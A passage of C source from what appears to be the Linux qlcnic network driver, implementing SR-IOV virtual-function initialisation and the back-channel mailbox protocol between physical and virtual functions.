}
static int qlcnic_sriov_vf_init_driver(struct qlcnic_adapter *adapter)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
struct qlcnic_info nic_info;
int err;
err = qlcnic_sriov_get_vf_vport_info(adapter, &nic_info, 0);
if (err)
return err;
ahw->max_mc_count = nic_info.max_rx_mcast_mac_filters;
err = qlcnic_get_nic_info(adapter, &nic_info, ahw->pci_func);
if (err)
return -EIO;
if (qlcnic_83xx_get_port_info(adapter))
return -EIO;
qlcnic_sriov_vf_cfg_buff_desc(adapter);
adapter->flags |= QLCNIC_ADAPTER_INITIALIZED;
dev_info(&adapter->pdev->dev, "HAL Version: %d\n",
adapter->ahw->fw_hal_version);
ahw->physical_port = (u8) nic_info.phys_port;
ahw->switch_mode = nic_info.switch_mode;
ahw->max_mtu = nic_info.max_mtu;
ahw->op_mode = nic_info.op_mode;
ahw->capabilities = nic_info.capabilities;
return 0;
}
static int qlcnic_sriov_setup_vf(struct qlcnic_adapter *adapter,
int pci_using_dac)
{
int err;
adapter->flags |= QLCNIC_VLAN_FILTERING;
adapter->ahw->total_nic_func = 1;
INIT_LIST_HEAD(&adapter->vf_mc_list);
if (!qlcnic_use_msi_x && !!qlcnic_use_msi)
dev_warn(&adapter->pdev->dev,
"Device does not support MSI interrupts\n");
/* compute and set default and max tx/sds rings */
qlcnic_set_tx_ring_count(adapter, QLCNIC_SINGLE_RING);
qlcnic_set_sds_ring_count(adapter, QLCNIC_SINGLE_RING);
err = qlcnic_setup_intr(adapter);
if (err) {
dev_err(&adapter->pdev->dev, "Failed to setup interrupt\n");
goto err_out_disable_msi;
}
err = qlcnic_83xx_setup_mbx_intr(adapter);
if (err)
goto err_out_disable_msi;
err = qlcnic_sriov_init(adapter, 1);
if (err)
goto err_out_disable_mbx_intr;
err = qlcnic_sriov_cfg_bc_intr(adapter, 1);
if (err)
goto err_out_cleanup_sriov;
err = qlcnic_sriov_channel_cfg_cmd(adapter, QLCNIC_BC_CMD_CHANNEL_INIT);
if (err)
goto err_out_disable_bc_intr;
err = qlcnic_sriov_vf_init_driver(adapter);
if (err)
goto err_out_send_channel_term;
err = qlcnic_sriov_get_vf_acl(adapter);
if (err)
goto err_out_send_channel_term;
err = qlcnic_setup_netdev(adapter, adapter->netdev, pci_using_dac);
if (err)
goto err_out_send_channel_term;
pci_set_drvdata(adapter->pdev, adapter);
dev_info(&adapter->pdev->dev, "%s: XGbE port initialized\n",
adapter->netdev->name);
qlcnic_schedule_work(adapter, qlcnic_sriov_vf_poll_dev_state,
adapter->ahw->idc.delay);
return 0;
err_out_send_channel_term:
qlcnic_sriov_channel_cfg_cmd(adapter, QLCNIC_BC_CMD_CHANNEL_TERM);
err_out_disable_bc_intr:
qlcnic_sriov_cfg_bc_intr(adapter, 0);
err_out_cleanup_sriov:
__qlcnic_sriov_cleanup(adapter);
err_out_disable_mbx_intr:
qlcnic_83xx_free_mbx_intr(adapter);
err_out_disable_msi:
qlcnic_teardown_intr(adapter);
return err;
}
static int qlcnic_sriov_check_dev_ready(struct qlcnic_adapter *adapter)
{
u32 state;
do {
msleep(20);
if (++adapter->fw_fail_cnt > QLC_BC_CMD_MAX_RETRY_CNT)
return -EIO;
state = QLCRDX(adapter->ahw, QLC_83XX_IDC_DEV_STATE);
} while (state != QLC_83XX_IDC_DEV_READY);
return 0;
}
int qlcnic_sriov_vf_init(struct qlcnic_adapter *adapter, int pci_using_dac)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
int err;
set_bit(QLC_83XX_MODULE_LOADED, &ahw->idc.status);
ahw->idc.delay = QLC_83XX_IDC_FW_POLL_DELAY;
ahw->reset_context = 0;
adapter->fw_fail_cnt = 0;
ahw->msix_supported = 1;
adapter->need_fw_reset = 0;
adapter->flags |= QLCNIC_TX_INTR_SHARED;
err = qlcnic_sriov_check_dev_ready(adapter);
if (err)
return err;
err = qlcnic_sriov_setup_vf(adapter, pci_using_dac);
if (err)
return err;
if (qlcnic_read_mac_addr(adapter))
dev_warn(&adapter->pdev->dev, "failed to read mac addr\n");
INIT_DELAYED_WORK(&adapter->idc_aen_work, qlcnic_83xx_idc_aen_work);
clear_bit(__QLCNIC_RESETTING, &adapter->state);
return 0;
}
void qlcnic_sriov_vf_set_ops(struct qlcnic_adapter *adapter)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
ahw->op_mode = QLCNIC_SRIOV_VF_FUNC;
dev_info(&adapter->pdev->dev,
"HAL Version: %d Non Privileged SRIOV function\n",
ahw->fw_hal_version);
adapter->nic_ops = &qlcnic_sriov_vf_ops;
set_bit(__QLCNIC_SRIOV_ENABLE, &adapter->state);
return;
}
void qlcnic_sriov_vf_register_map(struct qlcnic_hardware_context *ahw)
{
ahw->hw_ops = &qlcnic_sriov_vf_hw_ops;
ahw->reg_tbl = (u32 *)qlcnic_83xx_reg_tbl;
ahw->ext_reg_tbl = (u32 *)qlcnic_83xx_ext_reg_tbl;
}
static u32 qlcnic_sriov_get_bc_paysize(u32 real_pay_size, u8 curr_frag)
{
u32 pay_size;
pay_size = real_pay_size / ((curr_frag + 1) * QLC_BC_PAYLOAD_SZ);
if (pay_size)
pay_size = QLC_BC_PAYLOAD_SZ;
else
pay_size = real_pay_size % QLC_BC_PAYLOAD_SZ;
return pay_size;
}
int qlcnic_sriov_func_to_index(struct qlcnic_adapter *adapter, u8 pci_func)
{
struct qlcnic_vf_info *vf_info = adapter->ahw->sriov->vf_info;
u8 i;
if (qlcnic_sriov_vf_check(adapter))
return 0;
for (i = 0; i < adapter->ahw->sriov->num_vfs; i++) {
if (vf_info[i].pci_func == pci_func)
return i;
}
return -EINVAL;
}
static inline int qlcnic_sriov_alloc_bc_trans(struct qlcnic_bc_trans **trans)
{
*trans = kzalloc(sizeof(struct qlcnic_bc_trans), GFP_ATOMIC);
if (!*trans)
return -ENOMEM;
init_completion(&(*trans)->resp_cmpl);
return 0;
}
static inline int qlcnic_sriov_alloc_bc_msg(struct qlcnic_bc_hdr **hdr,
u32 size)
{
*hdr = kzalloc(sizeof(struct qlcnic_bc_hdr) * size, GFP_ATOMIC);
if (!*hdr)
return -ENOMEM;
return 0;
}
static int qlcnic_sriov_alloc_bc_mbx_args(struct qlcnic_cmd_args *mbx, u32 type)
{
const struct qlcnic_mailbox_metadata *mbx_tbl;
int i, size;
mbx_tbl = qlcnic_sriov_bc_mbx_tbl;
size = ARRAY_SIZE(qlcnic_sriov_bc_mbx_tbl);
for (i = 0; i < size; i++) {
if (type == mbx_tbl[i].cmd) {
mbx->op_type = QLC_BC_CMD;
mbx->req.num = mbx_tbl[i].in_args;
mbx->rsp.num = mbx_tbl[i].out_args;
mbx->req.arg = kcalloc(mbx->req.num, sizeof(u32),
GFP_ATOMIC);
if (!mbx->req.arg)
return -ENOMEM;
mbx->rsp.arg = kcalloc(mbx->rsp.num, sizeof(u32),
GFP_ATOMIC);
if (!mbx->rsp.arg) {
kfree(mbx->req.arg);
mbx->req.arg = NULL;
return -ENOMEM;
}
mbx->req.arg[0] = (type | (mbx->req.num << 16) |
(3 << 29));
mbx->rsp.arg[0] = (type & 0xffff) | mbx->rsp.num << 16;
return 0;
}
}
return -EINVAL;
}
static int qlcnic_sriov_prepare_bc_hdr(struct qlcnic_bc_trans *trans,
struct qlcnic_cmd_args *cmd,
u16 seq, u8 msg_type)
{
struct qlcnic_bc_hdr *hdr;
int i;
u32 num_regs, bc_pay_sz;
u16 remainder;
u8 cmd_op, num_frags, t_num_frags;
bc_pay_sz = QLC_BC_PAYLOAD_SZ;
if (msg_type == QLC_BC_COMMAND) {
trans->req_pay = (struct qlcnic_bc_payload *)cmd->req.arg;
trans->rsp_pay = (struct qlcnic_bc_payload *)cmd->rsp.arg;
num_regs = cmd->req.num;
trans->req_pay_size = (num_regs * 4);
num_regs = cmd->rsp.num;
trans->rsp_pay_size = (num_regs * 4);
cmd_op = cmd->req.arg[0] & 0xff;
remainder = (trans->req_pay_size) % (bc_pay_sz);
num_frags = (trans->req_pay_size) / (bc_pay_sz);
if (remainder)
num_frags++;
t_num_frags = num_frags;
if (qlcnic_sriov_alloc_bc_msg(&trans->req_hdr, num_frags))
return -ENOMEM;
remainder = (trans->rsp_pay_size) % (bc_pay_sz);
num_frags = (trans->rsp_pay_size) / (bc_pay_sz);
if (remainder)
num_frags++;
if (qlcnic_sriov_alloc_bc_msg(&trans->rsp_hdr, num_frags))
return -ENOMEM;
num_frags = t_num_frags;
hdr = trans->req_hdr;
} else {
cmd->req.arg = (u32 *)trans->req_pay;
cmd->rsp.arg = (u32 *)trans->rsp_pay;
cmd_op = cmd->req.arg[0] & 0xff;
cmd->cmd_op = cmd_op;
remainder = (trans->rsp_pay_size) % (bc_pay_sz);
num_frags = (trans->rsp_pay_size) / (bc_pay_sz);
if (remainder)
num_frags++;
cmd->req.num = trans->req_pay_size / 4;
cmd->rsp.num = trans->rsp_pay_size / 4;
hdr = trans->rsp_hdr;
cmd->op_type = trans->req_hdr->op_type;
}
trans->trans_id = seq;
trans->cmd_id = cmd_op;
for (i = 0; i < num_frags; i++) {
hdr[i].version = 2;
hdr[i].msg_type = msg_type;
hdr[i].op_type = cmd->op_type;
hdr[i].num_cmds = 1;
hdr[i].num_frags = num_frags;
hdr[i].frag_num = i + 1;
hdr[i].cmd_op = cmd_op;
hdr[i].seq_id = seq;
}
return 0;
}
static void qlcnic_sriov_cleanup_transaction(struct qlcnic_bc_trans *trans)
{
if (!trans)
return;
kfree(trans->req_hdr);
kfree(trans->rsp_hdr);
kfree(trans);
}
static int qlcnic_sriov_clear_trans(struct qlcnic_vf_info *vf,
struct qlcnic_bc_trans *trans, u8 type)
{
struct qlcnic_trans_list *t_list;
unsigned long flags;
int ret = 0;
if (type == QLC_BC_RESPONSE) {
t_list = &vf->rcv_act;
spin_lock_irqsave(&t_list->lock, flags);
t_list->count--;
list_del(&trans->list);
if (t_list->count > 0)
ret = 1;
spin_unlock_irqrestore(&t_list->lock, flags);
}
if (type == QLC_BC_COMMAND) {
while (test_and_set_bit(QLC_BC_VF_SEND, &vf->state))
msleep(100);
vf->send_cmd = NULL;
clear_bit(QLC_BC_VF_SEND, &vf->state);
}
return ret;
}
static void qlcnic_sriov_schedule_bc_cmd(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf,
work_func_t func)
{
if (test_bit(QLC_BC_VF_FLR, &vf->state) ||
vf->adapter->need_fw_reset)
return;
queue_work(sriov->bc.bc_trans_wq, &vf->trans_work);
}
static inline void qlcnic_sriov_wait_for_resp(struct qlcnic_bc_trans *trans)
{
struct completion *cmpl = &trans->resp_cmpl;
if (wait_for_completion_timeout(cmpl, QLC_MBOX_RESP_TIMEOUT))
trans->trans_state = QLC_END;
else
trans->trans_state = QLC_ABORT;
return;
}
static void qlcnic_sriov_handle_multi_frags(struct qlcnic_bc_trans *trans,
u8 type)
{
if (type == QLC_BC_RESPONSE) {
trans->curr_rsp_frag++;
if (trans->curr_rsp_frag < trans->rsp_hdr->num_frags)
trans->trans_state = QLC_INIT;
else
trans->trans_state = QLC_END;
} else {
trans->curr_req_frag++;
if (trans->curr_req_frag < trans->req_hdr->num_frags)
trans->trans_state = QLC_INIT;
else
trans->trans_state = QLC_WAIT_FOR_RESP;
}
}
static void qlcnic_sriov_wait_for_channel_free(struct qlcnic_bc_trans *trans,
u8 type)
{
struct qlcnic_vf_info *vf = trans->vf;
struct completion *cmpl = &vf->ch_free_cmpl;
if (!wait_for_completion_timeout(cmpl, QLC_MBOX_CH_FREE_TIMEOUT)) {
trans->trans_state = QLC_ABORT;
return;
}
clear_bit(QLC_BC_VF_CHANNEL, &vf->state);
qlcnic_sriov_handle_multi_frags(trans, type);
}
static void qlcnic_sriov_pull_bc_msg(struct qlcnic_adapter *adapter,
u32 *hdr, u32 *pay, u32 size)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
u32 fw_mbx;
u8 i, max = 2, hdr_size, j;
hdr_size = (sizeof(struct qlcnic_bc_hdr) / sizeof(u32));
max = (size / sizeof(u32)) + hdr_size;
fw_mbx = readl(QLCNIC_MBX_FW(ahw, 0));
for (i = 2, j = 0; j < hdr_size; i++, j++)
*(hdr++) = readl(QLCNIC_MBX_FW(ahw, i));
for (; j < max; i++, j++)
*(pay++) = readl(QLCNIC_MBX_FW(ahw, i));
}
static int __qlcnic_sriov_issue_bc_post(struct qlcnic_vf_info *vf)
{
int ret = -EBUSY;
u32 timeout = 10000;
do {
if (!test_and_set_bit(QLC_BC_VF_CHANNEL, &vf->state)) {
ret = 0;
break;
}
mdelay(1);
} while (--timeout);
return ret;
}
static int qlcnic_sriov_issue_bc_post(struct qlcnic_bc_trans *trans, u8 type)
{
struct qlcnic_vf_info *vf = trans->vf;
u32 pay_size, hdr_size;
u32 *hdr, *pay;
int ret;
u8 pci_func = trans->func_id;
if (__qlcnic_sriov_issue_bc_post(vf))
return -EBUSY;
if (type == QLC_BC_COMMAND) {
hdr = (u32 *)(trans->req_hdr + trans->curr_req_frag);
pay = (u32 *)(trans->req_pay + trans->curr_req_frag);
hdr_size = (sizeof(struct qlcnic_bc_hdr) / sizeof(u32));
pay_size = qlcnic_sriov_get_bc_paysize(trans->req_pay_size,
trans->curr_req_frag);
pay_size = (pay_size / sizeof(u32));
} else {
hdr = (u32 *)(trans->rsp_hdr + trans->curr_rsp_frag);
pay = (u32 *)(trans->rsp_pay + trans->curr_rsp_frag);
hdr_size = (sizeof(struct qlcnic_bc_hdr) / sizeof(u32));
pay_size = qlcnic_sriov_get_bc_paysize(trans->rsp_pay_size,
trans->curr_rsp_frag);
pay_size = (pay_size / sizeof(u32));
}
ret = qlcnic_sriov_post_bc_msg(vf->adapter, hdr, pay,
pci_func, pay_size);
return ret;
}
static int __qlcnic_sriov_send_bc_msg(struct qlcnic_bc_trans *trans,
struct qlcnic_vf_info *vf, u8 type)
{
bool flag = true;
int err = -EIO;
while (flag) {
if (test_bit(QLC_BC_VF_FLR, &vf->state) ||
vf->adapter->need_fw_reset)
trans->trans_state = QLC_ABORT;
switch (trans->trans_state) {
case QLC_INIT:
trans->trans_state = QLC_WAIT_FOR_CHANNEL_FREE;
if (qlcnic_sriov_issue_bc_post(trans, type))
trans->trans_state = QLC_ABORT;
break;
case QLC_WAIT_FOR_CHANNEL_FREE:
qlcnic_sriov_wait_for_channel_free(trans, type);
break;
case QLC_WAIT_FOR_RESP:
qlcnic_sriov_wait_for_resp(trans);
break;
case QLC_END:
err = 0;
flag = false;
break;
case QLC_ABORT:
err = -EIO;
flag = false;
clear_bit(QLC_BC_VF_CHANNEL, &vf->state);
break;
default:
err = -EIO;
flag = false;
}
}
return err;
}
static int qlcnic_sriov_send_bc_cmd(struct qlcnic_adapter *adapter,
struct qlcnic_bc_trans *trans, int pci_func)
{
struct qlcnic_vf_info *vf;
int err, index = qlcnic_sriov_func_to_index(adapter, pci_func);
if (index < 0)
return -EIO;
vf = &adapter->ahw->sriov->vf_info[index];
trans->vf = vf;
trans->func_id = pci_func;
if (!test_bit(QLC_BC_VF_STATE, &vf->state)) {
if (qlcnic_sriov_pf_check(adapter))
return -EIO;
if (qlcnic_sriov_vf_check(adapter) &&
trans->cmd_id != QLCNIC_BC_CMD_CHANNEL_INIT)
return -EIO;
}
mutex_lock(&vf->send_cmd_lock);
vf->send_cmd = trans;
err = __qlcnic_sriov_send_bc_msg(trans, vf, QLC_BC_COMMAND);
qlcnic_sriov_clear_trans(vf, trans, QLC_BC_COMMAND);
mutex_unlock(&vf->send_cmd_lock);
return err;
}
static void __qlcnic_sriov_process_bc_cmd(struct qlcnic_adapter *adapter,
struct qlcnic_bc_trans *trans,
struct qlcnic_cmd_args *cmd)
{
#ifdef CONFIG_QLCNIC_SRIOV
if (qlcnic_sriov_pf_check(adapter)) {
qlcnic_sriov_pf_process_bc_cmd(adapter, trans, cmd);
return;
}
#endif
cmd->rsp.arg[0] |= (0x9 << 25);
return;
}
static void qlcnic_sriov_process_bc_cmd(struct work_struct *work)
{
struct qlcnic_vf_info *vf = container_of(work, struct qlcnic_vf_info,
trans_work);
struct qlcnic_bc_trans *trans = NULL;
struct qlcnic_adapter *adapter = vf->adapter;
struct qlcnic_cmd_args cmd;
u8 req;
if (adapter->need_fw_reset)
return;
if (test_bit(QLC_BC_VF_FLR, &vf->state))
return;
memset(&cmd, 0, sizeof(struct qlcnic_cmd_args));
trans = list_first_entry(&vf->rcv_act.wait_list,
struct qlcnic_bc_trans, list);
adapter = vf->adapter;
if (qlcnic_sriov_prepare_bc_hdr(trans, &cmd, trans->req_hdr->seq_id,
QLC_BC_RESPONSE))
goto cleanup_trans;
__qlcnic_sriov_process_bc_cmd(adapter, trans, &cmd);
trans->trans_state = QLC_INIT;
__qlcnic_sriov_send_bc_msg(trans, vf, QLC_BC_RESPONSE);
cleanup_trans:
qlcnic_free_mbx_args(&cmd);
req = qlcnic_sriov_clear_trans(vf, trans, QLC_BC_RESPONSE);
qlcnic_sriov_cleanup_transaction(trans);
if (req)
qlcnic_sriov_schedule_bc_cmd(adapter->ahw->sriov, vf,
qlcnic_sriov_process_bc_cmd);
}
static void qlcnic_sriov_handle_bc_resp(struct qlcnic_bc_hdr *hdr,
struct qlcnic_vf_info *vf)
{
struct qlcnic_bc_trans *trans;
u32 pay_size;
if (test_and_set_bit(QLC_BC_VF_SEND, &vf->state))
return;
trans = vf->send_cmd;
if (trans == NULL)
goto clear_send;
if (trans->trans_id != hdr->seq_id)
goto clear_send;
pay_size = qlcnic_sriov_get_bc_paysize(trans->rsp_pay_size,
trans->curr_rsp_frag);
qlcnic_sriov_pull_bc_msg(vf->adapter,
(u32 *)(trans->rsp_hdr + trans->curr_rsp_frag),
(u32 *)(trans->rsp_pay + trans->curr_rsp_frag),
pay_size);
if (++trans->curr_rsp_frag < trans->rsp_hdr->num_frags)
goto clear_send;
complete(&trans->resp_cmpl);
clear_send:
clear_bit(QLC_BC_VF_SEND, &vf->state);
}
int __qlcnic_sriov_add_act_list(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf,
struct qlcnic_bc_trans *trans)
{
struct qlcnic_trans_list *t_list = &vf->rcv_act;
t_list->count++;
list_add_tail(&trans->list, &t_list->wait_list);
if (t_list->count == 1)
qlcnic_sriov_schedule_bc_cmd(sriov, vf,
qlcnic_sriov_process_bc_cmd);
return 0;
}
static int qlcnic_sriov_add_act_list(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf,
struct qlcnic_bc_trans *trans)
{
struct qlcnic_trans_list *t_list = &vf->rcv_act;
spin_lock(&t_list->lock);
__qlcnic_sriov_add_act_list(sriov, vf, trans);
spin_unlock(&t_list->lock);
return 0;
}
static void qlcnic_sriov_handle_pending_trans(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf,
struct qlcnic_bc_hdr *hdr)
{
struct qlcnic_bc_trans *trans = NULL;
struct list_head *node;
u32 pay_size, curr_frag;
u8 found = 0, active = 0;
spin_lock(&vf->rcv_pend.lock);
if (vf->rcv_pend.count > 0) {
list_for_each(node, &vf->rcv_pend.wait_list) {
trans = list_entry(node, struct qlcnic_bc_trans, list);
if (trans->trans_id == hdr->seq_id) {
found = 1;
break;
}
}
}
if (found) {
curr_frag = trans->curr_req_frag;
pay_size = qlcnic_sriov_get_bc_paysize(trans->req_pay_size,
curr_frag);
qlcnic_sriov_pull_bc_msg(vf->adapter,
(u32 *)(trans->req_hdr + curr_frag),
(u32 *)(trans->req_pay + curr_frag),
pay_size);
trans->curr_req_frag++;
if (trans->curr_req_frag >= hdr->num_frags) {
vf->rcv_pend.count--;
list_del(&trans->list);
active = 1;
}
}
spin_unlock(&vf->rcv_pend.lock);
if (active)
if (qlcnic_sriov_add_act_list(sriov, vf, trans))
qlcnic_sriov_cleanup_transaction(trans);
return;
}
static void qlcnic_sriov_handle_bc_cmd(struct qlcnic_sriov *sriov,
struct qlcnic_bc_hdr *hdr,
struct qlcnic_vf_info *vf)
{
struct qlcnic_bc_trans *trans;
struct qlcnic_adapter *adapter = vf->adapter;
struct qlcnic_cmd_args cmd;
u32 pay_size;
int err;
u8 cmd_op;
if (adapter->need_fw_reset)
return;
if (!test_bit(QLC_BC_VF_STATE, &vf->state) &&
hdr->op_type != QLC_BC_CMD &&
hdr->cmd_op != QLCNIC_BC_CMD_CHANNEL_INIT)
return;
if (hdr->frag_num > 1) {
qlcnic_sriov_handle_pending_trans(sriov, vf, hdr);
return;
}
memset(&cmd, 0, sizeof(struct qlcnic_cmd_args));
cmd_op = hdr->cmd_op;
if (qlcnic_sriov_alloc_bc_trans(&trans))
return;
if (hdr->op_type == QLC_BC_CMD)
err = qlcnic_sriov_alloc_bc_mbx_args(&cmd, cmd_op);
else
err = qlcnic_alloc_mbx_args(&cmd, adapter, cmd_op);
if (err) {
qlcnic_sriov_cleanup_transaction(trans);
return;
}
cmd.op_type = hdr->op_type;
if (qlcnic_sriov_prepare_bc_hdr(trans, &cmd, hdr->seq_id,
QLC_BC_COMMAND)) {
qlcnic_free_mbx_args(&cmd);
qlcnic_sriov_cleanup_transaction(trans);
return;
}
pay_size = qlcnic_sriov_get_bc_paysize(trans->req_pay_size,
trans->curr_req_frag);
qlcnic_sriov_pull_bc_msg(vf->adapter,
(u32 *)(trans->req_hdr + trans->curr_req_frag),
(u32 *)(trans->req_pay + trans->curr_req_frag),
pay_size);
trans->func_id = vf->pci_func;
trans->vf = vf;
trans->trans_id = hdr->seq_id;
trans->curr_req_frag++;
if (qlcnic_sriov_soft_flr_check(adapter, trans, vf))
return;
if (trans->curr_req_frag == trans->req_hdr->num_frags) {
if (qlcnic_sriov_add_act_list(sriov, vf, trans)) {
qlcnic_free_mbx_args(&cmd);
qlcnic_sriov_cleanup_transaction(trans);
}
} else {
spin_lock(&vf->rcv_pend.lock);
list_add_tail(&trans->list, &vf->rcv_pend.wait_list);
vf->rcv_pend.count++;
spin_unlock(&vf->rcv_pend.lock);
}
}
static void qlcnic_sriov_handle_msg_event(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf)
{
struct qlcnic_bc_hdr hdr;
u32 *ptr = (u32 *)&hdr;
u8 msg_type, i;
for (i = 2; i < 6; i++)
ptr[i - 2] = readl(QLCNIC_MBX_FW(vf->adapter->ahw, i));
msg_type = hdr.msg_type;
switch (msg_type) {
case QLC_BC_COMMAND:
qlcnic_sriov_handle_bc_cmd(sriov, &hdr, vf);
break;
case QLC_BC_RESPONSE:
qlcnic_sriov_handle_bc_resp(&hdr, vf);
break;
}
}
static void qlcnic_sriov_handle_flr_event(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf)
{
struct qlcnic_adapter *adapter = vf->adapter;
if (qlcnic_sriov_pf_check(adapter))
qlcnic_sriov_pf_handle_flr(sriov, vf);
else
dev_err(&adapter->pdev->dev,
"Invalid event to VF. VF should not get FLR event\n");
}
void qlcnic_sriov_handle_bc_event(struct qlcnic_adapter *adapter, u32 event)
{
struct qlcnic_vf_info *vf;
struct qlcnic_sriov *sriov;
int index;
u8 pci_func;
sriov = adapter->ahw->sriov;
pci_func = qlcnic_sriov_target_func_id(event);
index = qlcnic_sriov_func_to_index(adapter, pci_func);
if (index < 0)
return;
vf = &sriov->vf_info[index];
vf->pci_func = pci_func;
if (qlcnic_sriov_channel_free_check(event))
complete(&vf->ch_free_cmpl);
if (qlcnic_sriov_flr_check(event)) {
qlcnic_sriov_handle_flr_event(sriov, vf);
return;
}
if (qlcnic_sriov_bc_msg_check(event))
qlcnic_sriov_handle_msg_event(sriov, vf);
}
int qlcnic_sriov_cfg_bc_intr(struct qlcnic_adapter *adapter, u8 enable)
{
struct qlcnic_cmd_args cmd;
int err;
if (!test_bit(__QLCNIC_SRIOV_ENABLE, &adapter->state))
return 0;
if (qlcnic_alloc_mbx_args(&cmd, adapter, QLCNIC_CMD_BC_EVENT_SETUP))
return -ENOMEM;
if (enable)
cmd.req.arg[1] = (1 << 4) | (1 << 5) | (1 << 6) | (1 << 7);
err = qlcnic_83xx_issue_cmd(adapter, &cmd);
if (err != QLCNIC_RCODE_SUCCESS) {
dev_err(&adapter->pdev->dev,
"Failed to %s bc events, err=%d\n",
(enable ? "enable" : "disable"), err);
}
qlcnic_free_mbx_args(&cmd);
return err;
}
static int qlcnic_sriov_retry_bc_cmd(struct qlcnic_adapter *adapter,
struct qlcnic_bc_trans *trans)
{
u8 max = QLC_BC_CMD_MAX_RETRY_CNT;
u32 state;
state = QLCRDX(adapter->ahw, QLC_83XX_IDC_DEV_STATE);
if (state == QLC_83XX_IDC_DEV_READY) {
msleep(20);
clear_bit(QLC_BC_VF_CHANNEL, &trans->vf->state);
trans->trans_state = QLC_INIT;
if (++adapter->fw_fail_cnt > max)
return -EIO;
else
return 0;
}
return -EIO;
}
static int __qlcnic_sriov_issue_cmd(struct qlcnic_adapter *adapter,
struct qlcnic_cmd_args *cmd)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
struct qlcnic_mailbox *mbx = ahw->mailbox;
struct device *dev = &adapter->pdev->dev;
struct qlcnic_bc_trans *trans;
int err;
u32 rsp_data, opcode, mbx_err_code, rsp;
u16 seq = ++adapter->ahw->sriov->bc.trans_counter;
u8 func = ahw->pci_func;
rsp = qlcnic_sriov_alloc_bc_trans(&trans);
if (rsp)
goto free_cmd;
rsp = qlcnic_sriov_prepare_bc_hdr(trans, cmd, seq, QLC_BC_COMMAND);
if (rsp)
goto cleanup_transaction;
retry:
if (!test_bit(QLC_83XX_MBX_READY, &mbx->status)) {
rsp = -EIO;
QLCDB(adapter, DRV, "MBX not Ready!(cmd 0x%x) for VF 0x%x\n",
QLCNIC_MBX_RSP(cmd->req.arg[0]), func);
goto err_out;
}
err = qlcnic_sriov_send_bc_cmd(adapter, trans, func);
if (err) {
dev_err(dev, "MBX command 0x%x timed out for VF %d\n",
(cmd->req.arg[0] & 0xffff), func);
rsp = QLCNIC_RCODE_TIMEOUT;
/* After adapter reset PF driver may take some time to
* respond to VF's request. Retry request till maximum retries.
*/
if ((trans->req_hdr->cmd_op == QLCNIC_BC_CMD_CHANNEL_INIT) &&
!qlcnic_sriov_retry_bc_cmd(adapter, trans))
goto retry;
goto err_out;
}
rsp_data = cmd->rsp.arg[0];
mbx_err_code = QLCNIC_MBX_STATUS(rsp_data);
opcode = QLCNIC_MBX_RSP(cmd->req.arg[0]);
if ((mbx_err_code == QLCNIC_MBX_RSP_OK) ||
(mbx_err_code == QLCNIC_MBX_PORT_RSP_OK)) {
rsp = QLCNIC_RCODE_SUCCESS;
} else {
if (cmd->type == QLC_83XX_MBX_CMD_NO_WAIT) {
rsp = QLCNIC_RCODE_SUCCESS;
} else {
rsp = mbx_err_code;
if (!rsp)
rsp = 1;
dev_err(dev,
"MBX command 0x%x failed with err:0x%x for VF %d\n",
opcode, mbx_err_code, func);
}
}
err_out:
if (rsp == QLCNIC_RCODE_TIMEOUT) {
ahw->reset_context = 1;
adapter->need_fw_reset = 1;
clear_bit(QLC_83XX_MBX_READY, &mbx->status);
}
cleanup_transaction:
qlcnic_sriov_cleanup_transaction(trans);
free_cmd:
if (cmd->type == QLC_83XX_MBX_CMD_NO_WAIT) {
qlcnic_free_mbx_args(cmd);
kfree(cmd);
}
return rsp;
}
static int qlcnic_sriov_issue_cmd(struct qlcnic_adapter *adapter,
struct qlcnic_cmd_args *cmd)
{
if (cmd->type == QLC_83XX_MBX_CMD_NO_WAIT)
return qlcnic_sriov_async_issue_cmd(adapter, cmd);
else
return __qlcnic_sriov_issue_cmd(adapter, cmd);
}
static int qlcnic_sriov_channel_cfg_cmd(struct qlcnic_adapter *adapter, u8 cmd_op)
{
struct qlcnic_cmd_args cmd;
struct qlcnic_vf_info *vf = &adapter->ahw->sriov->vf_info[0];
int ret;
memset(&cmd, 0, sizeof(cmd));
if (qlcnic_sriov_alloc_bc_mbx_args(&cmd, cmd_op))
return -ENOMEM;
ret = qlcnic_issue_cmd(adapter, &cmd);
if (ret) {
dev_err(&adapter->pdev->dev,
"Failed bc channel %s %d\n", cmd_op ? "term" : "init",
ret);
goto out;
}
cmd_op = (cmd.rsp.arg[0] & 0xff);
if (cmd.rsp.arg[0] >> 25 == 2)
return 2;
if (cmd_op == QLCNIC_BC_CMD_CHANNEL_INIT)
set_bit(QLC_BC_VF_STATE, &vf->state);
else
clear_bit(QLC_BC_VF_STATE, &vf->state);
out:
qlcnic_free_mbx_args(&cmd);
return ret;
}
static void qlcnic_vf_add_mc_list(struct net_device *netdev, const u8 *mac,
enum qlcnic_mac_type mac_type)
{
struct qlcnic_adapter *adapter = netdev_priv(netdev);
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
struct qlcnic_vf_info *vf;
u16 vlan_id;
int i;
vf = &adapter->ahw->sriov->vf_info[0];
if (!qlcnic_sriov_check_any_vlan(vf)) {
qlcnic_nic_add_mac(adapter, mac, 0, mac_type);
} else {
spin_lock(&vf->vlan_list_lock);
for (i = 0; i < sriov->num_allowed_vlans; i++) {
vlan_id = vf->sriov_vlans[i];
if (vlan_id)
qlcnic_nic_add_mac(adapter, mac, vlan_id,
mac_type);
}
spin_unlock(&vf->vlan_list_lock);
if (qlcnic_84xx_check(adapter))
qlcnic_nic_add_mac(adapter, mac, 0, mac_type);
}
}
void qlcnic_sriov_cleanup_async_list(struct qlcnic_back_channel *bc)
{
struct list_head *head = &bc->async_cmd_list;
struct qlcnic_async_cmd *entry;
flush_workqueue(bc->bc_async_wq);
cancel_work_sync(&bc->vf_async_work);
spin_lock(&bc->queue_lock);
while (!list_empty(head)) {
entry = list_entry(head->next, struct qlcnic_async_cmd,
list);
list_del(&entry->list);
kfree(entry->cmd);
kfree(entry);
}
spin_unlock(&bc->queue_lock);
}
void qlcnic_sriov_vf_set_multi(struct net_device *netdev)
{
